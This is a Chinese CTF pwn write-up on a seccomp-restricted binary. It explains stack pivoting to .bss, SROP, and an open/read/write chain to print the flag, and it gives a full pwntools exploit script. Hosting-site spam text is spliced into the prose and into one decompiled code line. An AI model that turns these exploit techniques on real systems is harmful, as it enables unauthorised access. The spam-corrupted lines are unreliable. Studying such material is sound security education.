这题对我主要的警示是ORW在高端题中出现的很多。对于出题者来说是一个最简单有效的提升pwn题复杂度的方法。
简单介绍ORW,杂谈及扯谈
ORW出现是在execve等函数被禁用的情况。我们为了不拿shell就获得flag,只能让程序执行如下流程。(open,read,write简称ORW)
open(flag_str,0,0)//这一步是让服务器系统打开flag文件。
//要找个有flag字符串的地址,告诉open函数要打开的文件名。
read(3,char* buf,size_buf)//这一步是让程序把flag读取到你选择的地址
//一般都是bss段,用起来方便。
//以及第一个3的意思是文件索引,linux下第一个文件索引是3,所以用3
write(1,char* buf,size_buf)//第一个参数1是写出用的
//如果用0会写不出来
我能明显感觉到ORW的出现把pwn的难度提升了一个等级。(据说后期还有出题者会把write禁用了,那这个就更离谱了。)
有人说pwn的进阶是从栈到堆到内核。而我觉得可能得再加一个小进阶点就是ORW。 (我本人还是很讨厌ORW,不仅在能力水平上感觉差别不大,毕竟你要是都能调用execve(‘/bin/sh’,0,0)了,我只能说再调用open,read,write再大部分题目都只是时间和字节大小的问题。)
更别说ORW成功之后跳出来的空荡荡一串flag的成就感完全不是拿到靶机的shell能比拟的。
看看题目先
checksec看看
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setbuf(a1, a2, a3);
p_error(a1);
hack(a1);
return 0LL;
}
main函数前两个子函数都没什么用。漏洞主要在我改名为hack的函数。
ps:最近还跟RE爷学了改函数变量名字,鼠标点一下之后按n就行。
__int64 hack()
{
char v1[10]; // [rsp+6h] [rbp-2Ah] BYREF
_QWORD var_18[4]; // [rsp+10h] [rbp-20h] BYREF
var_18[0] = 0x6F6E6B2075206F44LL;
var_18[1] = 0x6920746168772077LL;
var_18[2] = 0xA3F444955532073LL;
strcpy(v1, "easyhackn");
syscall(1LL, 1LL, v1, 9LL); // write easyhack
syscall(0LL, 0LL, &unk_404060, 4096LL); // read to bss
syscall(1LL, 1LL, var_18, 24LL); // write ...
syscall(0LL, 0LL, v1, 58LL); // read to stack
return 0LL;
}
好多syscall啊,简单分析一下。我的注释写在旁边,很明显了。
还有就是&unk_404060
是在bss段的。
在IDA还看到两个函数,一个是syscall,另一个是mov rax,0xf。有接触过SROP的应该都知道什么意思了。(没了解过SROP可以看看我这篇blog我尽量把SROP讲的浅显,底层知识没怎么涉及到,如果想了解可以再看看别的资料。
aaaa和bbbb是我写的。
pwn思路
为什么要栈迁移
先分析程序给的输入点。一个是有4096字节,读到bss段,一个58字节,读到栈段。
__int64 hack()
{
char v1[10]; // [rsp+6h] [rbp-2Ah] BYREF
_QWORD var_18[4]; // [rsp+10h] [rbp-20h] BYREF
var_18[0] = 0x6F6E6B2075206F44LL;
var_18[1] = 0x6920746168772077LL;
var_18[2] = 0xA3F444955532073LL;
strc服务器托管网py(v1, "easyhackn");
syscall(1LL, 1LL, v1, 9LL); // write easyhack
syscall(0LL, 0LL, &unk_404060, 4096LL); // read to bss
syscall(1LL, 1LL, var_18, 24LL); // write ...
syscall(0LL, 0LL, v1, 58LL); // read to stack
return 0LL;
}
v1从2A到20,刚好十个字节。v2从0x20到0,32个字节。7这里可以看出这题不可能只是栈溢出,栈上只给了58个字节,远远不够。
比较合适的做法应该是想办法做到栈迁移,大概就是覆盖函数返回地址上面的一个rbp,然后利用leave指令。这一点待会细说。或者也可以先看看大佬的一篇blog栈迁移 (c12en.fun)
为什么要ORW
接下来就是如何构建思路了。最早我想的是execve拿shell。后来实际运行发现不行。这里就要借用到工具服务器托管网了,得用这个先判断程序允许了哪些函数。否则很容易浪费时间。
sudo apt install gcc ruby-dev
gem install seccomp-tools
效果如图,主要关注蓝框内函数,他会检查你调用syscall之后的rax值,然后判断是否禁用。
exit_ group我不太清楚是干嘛的,但是他应该是KILL了除了exit_group和read,write,open,sigreturn,chmod
之外的所有函数。
那就只能ORW喽。
为什么要SROP
再有就是这题也用不了常规ROP,直接上图就懂。大概率要用SROP了。(前面首先有一个莫名其妙的mov rax,0xf的函数已经暗示了,更不用说现在检查出来sigreturn可以用。
实现细节及exp
栈迁移的实现细节
首先函数的栈帧是有rbp和rsp寄存器共同决定的,rbp是栈底,rsp是栈顶。每次push,rsp就会减0x8给新数据空出位置,每次pop,rsp就加0x8。
总之,rsp就是告诉程序栈写到哪里了,同时也是这个栈帧最低地址在哪里,rbp就是告诉程序栈底在哪里,同时也保存着原函数的rbp(原函数的栈底),并且在rbp的高地址会存着ret_adr和父函数的栈帧。
那么就跟覆盖变量的原理一样马,我们只要覆盖rbp的值,就可以改变函数栈底,那么栈帧的改变还需要rsp。这里就要引出leave指令了。
leave是很多函数都会在末尾调用的一个汇编指令。
pop rbp leave
retn retn
这两种经常出现,其实leave指令是包含pop rbp的,只不过在rbp之前再多了一个mov rsp,rbp
来丢弃这个函数栈帧中没有被pop
掉的数据。而后的pop
指令就是恢复原来的栈底。
可以看出很明显差别就是在于是否这个函数存在没有被pop掉的数据罢了。
因为函数末尾的leave指令是先mov rsp,rbp
再pop rbp
,所以虽然你这时候已经把rbp的位置覆写了,但是rsp的值还会是原来的rbp的值。
一个简单的解决办法就是再找一个leave retn
指令。再来一次mov rsp,rbp
,后面的pop rbp
看似又会影响rbp的值,实则在你的mov rsp,rbp
时,rsp
已经被移到你劫持的rbp
位置了。这个时候就会把你的rsp
指向的rbp pop
给rbp
。所以没有影响,只是会出现你的rsp
地址比rbp
地址高。这个我到不清楚会有什么问题,我只知道栈里面这样是不正常的。
总结一下,我们在往栈上发了合适的数据先劫持rbp
之后再ret
到leave ret
之后是可以把栈帧搬到任何段的。这里因为程序允许我们输入的空间只有两段,第一次有4096
个字节到bss
段。第二次58个字节到栈上。所以我们选择把栈劫持到bss
段,毕竟bss
段有4096
个字节可以被我们控制。
SROP和ORW
这个到不算太难,就往bss段输入合适的sigframe即可。而ORW基本就是重复,这里就很简单了,自己多调试就明白了。(懒得写了)
from pwn import *
context(
terminal = ['tmux','splitw','-h'],
os = "linux",
arch = "amd64",
# arch = "i386",
log_level="debug",
)
# io = remote("61.147.171.105",49811)
io = process("./chall")
def debug():
gdb.attach(io)
pause()
debug()
syscall = 0x40118A
mov_rax_15 = 0x401193
bss_adr = 0x404060
leave = 0x40143C
flag_str = 0x404390
store_flag = 0x405050
#rax = 2,open(flag,0,0) to get flag
#0 represents READONLY
openflag = SigreturnFrame()
openflag.rax = 0x2
openflag.rdi = flag_str
openflag.rsi = 0x0
openflag.rdx = 0x0
openflag.rip = syscall
openflag.rbp = bss_adr + 0x110
openflag.rsp = bss_adr + 0x110
#rax = 0,read(3,bss_adr,100)from (open) to (bss_adr)
readflag = SigreturnFrame()
readflag.rax = 0x0
readflag.rdi = 3
readflag.rsi = store_flag
readflag.rdx = 0x100
readflag.rip = syscall
readflag.rbp = bss_adr + 0x220
readflag.rsp = bss_adr + 0x220
#rax = 1,write(1,bss_adr,100) from (bss_adr) to me
writeflag = SigreturnFrame()
writeflag.rax = 0x1
writeflag.rdi = 0x1
writeflag.rsi = store_flag
writeflag.rdx = 0x100
writeflag.rip = syscall
writeflag.rbp = bss_adr + 0x330#这个无所谓
writeflag.rsp = bss_adr + 0x330#只是对其
bss_payload = p64(0xaaaa) + p64(mov_rax_15)
bss_payload += p64(syscall) + bytes(openflag)
#110
bss_payload += p64(0xaaaa) + p64(mov_rax_15)
bss_payload += p64(syscall) + bytes(readflag)
#220
bss_payload += p64(0xaaaa) + p64(mov_rax_15)
bss_payload += p64(syscall) + bytes(writeflag)
#330
bss_payload += b'flag'
#334
payload = cyclic(0x2A) + p64(bss_adr) + p64(leave)
io.recvuntil(b'easyhackn')
io.send(bss_payload)
print(hex(len(bss_payload)))
io.recvuntil(b'Do u know what is SUID?n')
io.send(payload)
io.interactive()
服务器托管,北京服务器托管,服务器租用 http://www.fwqtg.net
机房租用,北京机房租用,IDC机房托管, http://www.fwqtg.net
相关推荐: C#操作Microsoft.Office.Interop.Word类库完整例子
使用Microsoft.Office.Interop.Word类库操作wor文档 一.准备工作 首先在工厂中,引用【Microsoft.Office.Interop.Word】,本地安装了world,就能找到这个类库,如下图。Form1系统自动生成的 Form…